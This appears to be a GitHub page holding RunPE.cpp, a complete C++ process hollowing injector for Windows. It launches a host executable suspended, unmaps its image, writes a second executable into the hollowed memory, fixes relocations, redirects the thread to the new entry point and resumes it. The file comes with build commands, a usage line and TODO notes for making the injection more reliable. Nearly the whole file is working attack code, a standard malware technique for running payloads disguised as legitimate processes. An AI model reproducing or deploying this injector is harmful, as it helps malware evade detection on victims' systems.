-
Notifications
You must be signed in to change notification settings - Fork 16
/
RunPE.cpp
469 lines (415 loc) · 13.3 KB
/
RunPE.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
#include <windows.h>
#include <stdio.h>
/*
TESTS:
Windows 10 x64
*/
/*
BUILD:
g++ RunPE.cpp -m32 -o RunPE.exe
g++ RunPE.cpp -o RunPE.exe
*/
/*
TODO:
1) Make sure you have a valid PE file
2) Make sure the architecture of PEInjector, host_exe, injected_exe are the same
3) Kill the host_process if the injection is not successfull
4) Add documentation
5) If you cannot relocate, check if the process has aslr, if so just try over and over again
6) Replace NtUnmapViewOfSection with normal VirtualFreeEx, if you couldn't
use VirtualProtectEx to make the whole region unexecutable
7) Make more tests
8) Both PE and the process should have the same lpNtHeader->OptionalHeader.Subsystem so
to get the NT_HEADERS of the suspended process use https://stackoverflow.com/questions/8336214/how-can-i-get-a-process-entry-point-address
*/
/*
PROBLEMS:
1) For unknown reason these scenarios generates 0xc0000005 error at
Resuming the process when NtUnmapViewOfSection is used without the
condition before it
+ injecting x32 fixed base PE to x32 process with different fixed base
+ injecting any type x32 PE to x32 process with dynamic-base
possible solution (TODO:6)
*/
BOOL RunPe(LPCSTR szHostExe, LPCSTR szInjectedFile)
{
STARTUPINFOA ProcessStartupInfo;
PROCESS_INFORMATION ProcessInfo;
ZeroMemory(
&ProcessInfo,
sizeof(ProcessInfo));
ZeroMemory(&ProcessStartupInfo,
sizeof(ProcessStartupInfo));
ProcessStartupInfo.cb = sizeof(ProcessStartupInfo);
if (!CreateProcessA(
szHostExe,
NULL,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&ProcessStartupInfo,
&ProcessInfo
))
{
printf("Error at CreateProcessA, code = %d\n", GetLastError());
return FALSE;
};
HANDLE hFile;
if (!(hFile = CreateFileA(
szInjectedFile,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
)) || INVALID_HANDLE_VALUE == hFile)
{
printf("Error at CreateFileA, code = %d\n", GetLastError());
return FALSE;
};
LARGE_INTEGER u32FileSize;
if (!GetFileSizeEx(
hFile,
&u32FileSize
))
{
printf("Error at GetFileSizeEx, code = %d\n", GetLastError());
return FALSE;
};
LPVOID lpPeContent;
if (!(lpPeContent = VirtualAlloc(
NULL,
u32FileSize.QuadPart,
(MEM_COMMIT | MEM_RESERVE),
PAGE_READWRITE
)))
{
printf("Error at VirtualAlloc, code = %d\n", GetLastError());
return FALSE;
};
DWORD dwReadBytes;
if (!ReadFile(
hFile,
lpPeContent,
u32FileSize.QuadPart,
&dwReadBytes,
NULL
))
{
printf("Error at ReadFile, code = %d\n", GetLastError());
return FALSE;
};
CloseHandle(hFile);
PIMAGE_DOS_HEADER lpDosHeader = (PIMAGE_DOS_HEADER)lpPeContent;
PIMAGE_NT_HEADERS lpNtHeader = (PIMAGE_NT_HEADERS)((LONG_PTR)lpPeContent + lpDosHeader->e_lfanew);
#if defined(_M_X64) || defined(__amd64__)
ULONGLONG lpPreferableBase = lpNtHeader->OptionalHeader.ImageBase;
#else
ULONG lpPreferableBase = lpNtHeader->OptionalHeader.ImageBase;
#endif
CONTEXT ThreadContext;
ZeroMemory(
&ThreadContext,
sizeof(CONTEXT));
ThreadContext.ContextFlags = CONTEXT_INTEGER;
if (!GetThreadContext(
ProcessInfo.hThread,
&ThreadContext
))
{
printf("Error at GetThreadContext, code = %d\n", GetLastError());
return FALSE;
};
LPVOID lpPebImageBase;
#if defined(_M_X64) || defined(__amd64__)
lpPebImageBase = (LPVOID)(ThreadContext.Rdx + 2 * sizeof(ULONGLONG));
#else
lpPebImageBase = (LPVOID)(ThreadContext.Ebx + 2 * sizeof(ULONG));
#endif
SIZE_T stReadBytes;
PVOID lpOriginalImageBase;
#if defined(_M_X64) || defined(__amd64__)
ULONGLONG dwOriginalImageBase;
if (!ReadProcessMemory(
ProcessInfo.hProcess,
lpPebImageBase,
&dwOriginalImageBase,
sizeof(dwOriginalImageBase),
&stReadBytes
))
{
printf("Error at ReadProcessMemory, 0x%x, code = %d\n", lpPebImageBase, GetLastError());
return FALSE;
};
lpOriginalImageBase = (PVOID)dwOriginalImageBase;
#else
ULONG dwOriginalImageBase;
if (!ReadProcessMemory(
ProcessInfo.hProcess,
lpPebImageBase,
&dwOriginalImageBase,
sizeof(dwOriginalImageBase),
&stReadBytes
))
{
printf("Error at ReadProcessMemory, code = %d\n", GetLastError());
return FALSE;
};
lpOriginalImageBase = (PVOID)dwOriginalImageBase;
#endif
if (lpOriginalImageBase == (LPVOID)lpPreferableBase)
{
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
FARPROC NtUnmapViewOfSection = GetProcAddress(hNtdll, "NtUnmapViewOfSection");
if ((*(NTSTATUS(*)(HANDLE, PVOID)) NtUnmapViewOfSection)(
ProcessInfo.hProcess,
lpOriginalImageBase
))
{
printf("Error at NtUnmapViewOfSection, code = %d\n", GetLastError());
return FALSE;
};
};
LPVOID lpAllocatedBase;
if (!(lpAllocatedBase = VirtualAllocEx(
ProcessInfo.hProcess,
(LPVOID)lpPreferableBase,
lpNtHeader->OptionalHeader.SizeOfImage,
(MEM_COMMIT | MEM_RESERVE),
PAGE_EXECUTE_READWRITE
)))
{
if (GetLastError() == ERROR_INVALID_ADDRESS)
{
if (!(lpAllocatedBase = VirtualAllocEx(
ProcessInfo.hProcess,
NULL,
lpNtHeader->OptionalHeader.SizeOfImage,
(MEM_COMMIT | MEM_RESERVE),
PAGE_EXECUTE_READWRITE
)))
{
printf("Error at VirtualAllocEx, code = %d\n", GetLastError());
return FALSE;
};
}
else
{
printf("Error at VirtualAllocEx, code = %d\n", GetLastError());
return FALSE;
}
};
if (lpOriginalImageBase != lpAllocatedBase)
{
SIZE_T stWrittenBytes;
if (!WriteProcessMemory(
ProcessInfo.hProcess,
lpPebImageBase,
&lpAllocatedBase,
sizeof(lpAllocatedBase),
&stWrittenBytes
))
{
printf("Error at WriteProcessMemory, code = %d\n", GetLastError());
return FALSE;
};
}
lpNtHeader->OptionalHeader.Subsystem = IMAGE_SUBSYSTEM_WINDOWS_GUI;
if (lpAllocatedBase != (LPVOID)lpPreferableBase)
{
if (lpNtHeader->FileHeader.Characteristics & IMAGE_FILE_RELOCS_STRIPPED)
{
printf("Cannot relocate the PE because the relocation table is stripped\n");
return FALSE;
}
else
{
#if defined(_M_X64) || defined(__amd64__)
lpNtHeader->OptionalHeader.ImageBase = (ULONGLONG)lpAllocatedBase;
#else
lpNtHeader->OptionalHeader.ImageBase = (ULONG)lpAllocatedBase;
#endif
DWORD lpRelocationTableBaseRva = lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
PIMAGE_SECTION_HEADER lpHeaderSection = IMAGE_FIRST_SECTION(lpNtHeader);
DWORD dwRelocationTableBaseOffset = 0;
for (DWORD dwSecIndex = 0; dwSecIndex < lpNtHeader->FileHeader.NumberOfSections; dwSecIndex++) {
if (lpRelocationTableBaseRva >= lpHeaderSection[dwSecIndex].VirtualAddress &&
lpRelocationTableBaseRva < lpHeaderSection[dwSecIndex].VirtualAddress + lpHeaderSection[dwSecIndex].Misc.VirtualSize) {
dwRelocationTableBaseOffset = lpHeaderSection[dwSecIndex].PointerToRawData + lpRelocationTableBaseRva - lpHeaderSection[dwSecIndex].VirtualAddress;
break;
}
};
LPVOID lpRelocationTableBase = (LPVOID)((DWORD_PTR)lpPeContent + dwRelocationTableBaseOffset);
DWORD dwRelocationTableSize = lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
for (DWORD dwMemIndex = 0; dwMemIndex < dwRelocationTableSize;)
{
IMAGE_BASE_RELOCATION* lpBaseRelocBlock = (IMAGE_BASE_RELOCATION*)((DWORD_PTR)lpRelocationTableBase + dwMemIndex);
LPVOID lpBlocksEntery = (LPVOID)((DWORD_PTR)lpBaseRelocBlock + sizeof(lpBaseRelocBlock->SizeOfBlock) + sizeof(lpBaseRelocBlock->VirtualAddress));
DWORD dwNumberOfBlocks = (lpBaseRelocBlock->SizeOfBlock - sizeof(lpBaseRelocBlock->SizeOfBlock) - sizeof(lpBaseRelocBlock->VirtualAddress)) / sizeof(WORD);
WORD* lpBlocks = (WORD*)lpBlocksEntery;
for (DWORD dwBlockIndex = 0; dwBlockIndex < dwNumberOfBlocks; dwBlockIndex++)
{
WORD wBlockType = (lpBlocks[dwBlockIndex] & 0xf000) >> 0xC;
WORD wBlockOffset = lpBlocks[dwBlockIndex] & 0x0fff;
if ((wBlockType == IMAGE_REL_BASED_HIGHLOW) || (wBlockType == IMAGE_REL_BASED_DIR64))
{
DWORD dwAdrressToFixRva = lpBaseRelocBlock->VirtualAddress + (DWORD)wBlockOffset;
lpHeaderSection = IMAGE_FIRST_SECTION(lpNtHeader);
DWORD dwAdrressToFixOffset = 0;
for (DWORD dwSecIndex = 0; dwSecIndex < lpNtHeader->FileHeader.NumberOfSections; dwSecIndex++) {
if (dwAdrressToFixRva >= lpHeaderSection[dwSecIndex].VirtualAddress &&
dwAdrressToFixRva < lpHeaderSection[dwSecIndex].VirtualAddress + lpHeaderSection[dwSecIndex].Misc.VirtualSize) {
dwAdrressToFixOffset = lpHeaderSection[dwSecIndex].PointerToRawData + dwAdrressToFixRva - lpHeaderSection[dwSecIndex].VirtualAddress;
break;
};
};
#if defined(_M_X64) || defined(__amd64__)
ULONGLONG* lpAddressToFix = (ULONGLONG*)((DWORD_PTR)lpPeContent + dwAdrressToFixOffset);
*lpAddressToFix -= lpPreferableBase;
*lpAddressToFix += (ULONGLONG)lpAllocatedBase;
#else
ULONG* lpAddressToFix = (ULONG*)((DWORD_PTR)lpPeContent + dwAdrressToFixOffset);
*lpAddressToFix -= lpPreferableBase;
*lpAddressToFix += (ULONG)lpAllocatedBase;
#endif
};
};
dwMemIndex += lpBaseRelocBlock->SizeOfBlock;
};
};
};
#if defined(_M_X64) || defined(__amd64__)
ThreadContext.Rcx = (ULONGLONG)lpAllocatedBase + lpNtHeader->OptionalHeader.AddressOfEntryPoint;
#else
ThreadContext.Eax = (ULONG)lpAllocatedBase + lpNtHeader->OptionalHeader.AddressOfEntryPoint;
#endif
if (!SetThreadContext(
ProcessInfo.hThread,
&ThreadContext
))
{
printf("Error at SetThreadContext, code = %d\n", GetLastError());
return FALSE;
};
SIZE_T stWrittenBytes;
if (!WriteProcessMemory(
ProcessInfo.hProcess,
lpAllocatedBase,
lpPeContent,
lpNtHeader->OptionalHeader.SizeOfHeaders,
&stWrittenBytes
))
{
printf("Error at WriteProcessMemory, code = %d\n", GetLastError());
return FALSE;
};
DWORD dwOldProtect;
if (!VirtualProtectEx(
ProcessInfo.hProcess,
lpAllocatedBase,
lpNtHeader->OptionalHeader.SizeOfHeaders,
PAGE_READONLY,
&dwOldProtect
))
{
printf("Error at VirtualProtectEx, code = %d\n", GetLastError());
return FALSE;
};
IMAGE_SECTION_HEADER* lpSectionHeaderArray = (IMAGE_SECTION_HEADER*)((ULONG_PTR)lpPeContent + lpDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
for (int i = 0; i < lpNtHeader->FileHeader.NumberOfSections; i++)
{
if (!WriteProcessMemory(
ProcessInfo.hProcess,
#if defined(_M_X64) || defined(__amd64__)
(LPVOID)((ULONGLONG)lpAllocatedBase + lpSectionHeaderArray[i].VirtualAddress),
#else
(LPVOID)((ULONG)lpAllocatedBase + lpSectionHeaderArray[i].VirtualAddress),
#endif
(LPCVOID)((DWORD_PTR)lpPeContent + lpSectionHeaderArray[i].PointerToRawData),
lpSectionHeaderArray[i].SizeOfRawData,
&stWrittenBytes
))
{
printf("Error at WriteProcessMemory, code = %d\n", GetLastError());
return FALSE;
};
DWORD dwSectionMappedSize = 0;
if (i == lpNtHeader->FileHeader.NumberOfSections - 1) {
dwSectionMappedSize = lpNtHeader->OptionalHeader.SizeOfImage - lpSectionHeaderArray[i].VirtualAddress;
}
else {
dwSectionMappedSize = lpSectionHeaderArray[i + 1].VirtualAddress - lpSectionHeaderArray[i].VirtualAddress;
}
DWORD dwSectionProtection = 0;
if ((lpSectionHeaderArray[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) &&
(lpSectionHeaderArray[i].Characteristics & IMAGE_SCN_MEM_READ) &&
(lpSectionHeaderArray[i].Characteristics & IMAGE_SCN_MEM_WRITE)) {
dwSectionProtection = PAGE_EXECUTE_READWRITE;
}
else if ((lpSectionHeaderArray[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) &&
(lpSectionHeaderArray[i].Characteristics & IMAGE_SCN_MEM_READ)) {
dwSectionProtection = PAGE_EXECUTE_READ;
}
else if ((lpSectionHeaderArray[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) &&
(lpSectionHeaderArray[i].Characteristics & IMAGE_SCN_MEM_WRITE)) {
dwSectionProtection = PAGE_EXECUTE_WRITECOPY;
}
else if ((lpSectionHeaderArray[i].Characteristics & IMAGE_SCN_MEM_READ) &&
(lpSectionHeaderArray[i].Characteristics & IMAGE_SCN_MEM_WRITE)) {
dwSectionProtection = PAGE_READWRITE;
}
else if (lpSectionHeaderArray[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) {
dwSectionProtection = PAGE_EXECUTE;
}
else if (lpSectionHeaderArray[i].Characteristics & IMAGE_SCN_MEM_READ) {
dwSectionProtection = PAGE_READONLY;
}
else if (lpSectionHeaderArray[i].Characteristics & IMAGE_SCN_MEM_WRITE) {
dwSectionProtection = PAGE_WRITECOPY;
}
else {
dwSectionProtection = PAGE_NOACCESS;
}
if (!VirtualProtectEx(
ProcessInfo.hProcess,
#if defined(_M_X64) || defined(__amd64__)
(LPVOID)((ULONGLONG)lpAllocatedBase + lpSectionHeaderArray[i].VirtualAddress),
#else
(LPVOID)((ULONG)lpAllocatedBase + lpSectionHeaderArray[i].VirtualAddress),
#endif
dwSectionMappedSize,
dwSectionProtection,
&dwOldProtect
))
{
printf("Error at VirtualProtectEx, code = %d\n", GetLastError());
return FALSE;
};
};
if (ResumeThread(
ProcessInfo.hThread
) == -1)
{
printf("Error at ResumeThread, code = %d\n", GetLastError());
return FALSE;
};
return TRUE;
}
INT main(INT argc, CHAR** argv) {
if (argc > 2)
{
if (RunPe(argv[1], argv[2]))
{
puts("Done !!!");
}
}
else
{
printf("%s [host_exe] [injected_exe]\n", argv[0]);
}
return 0;
}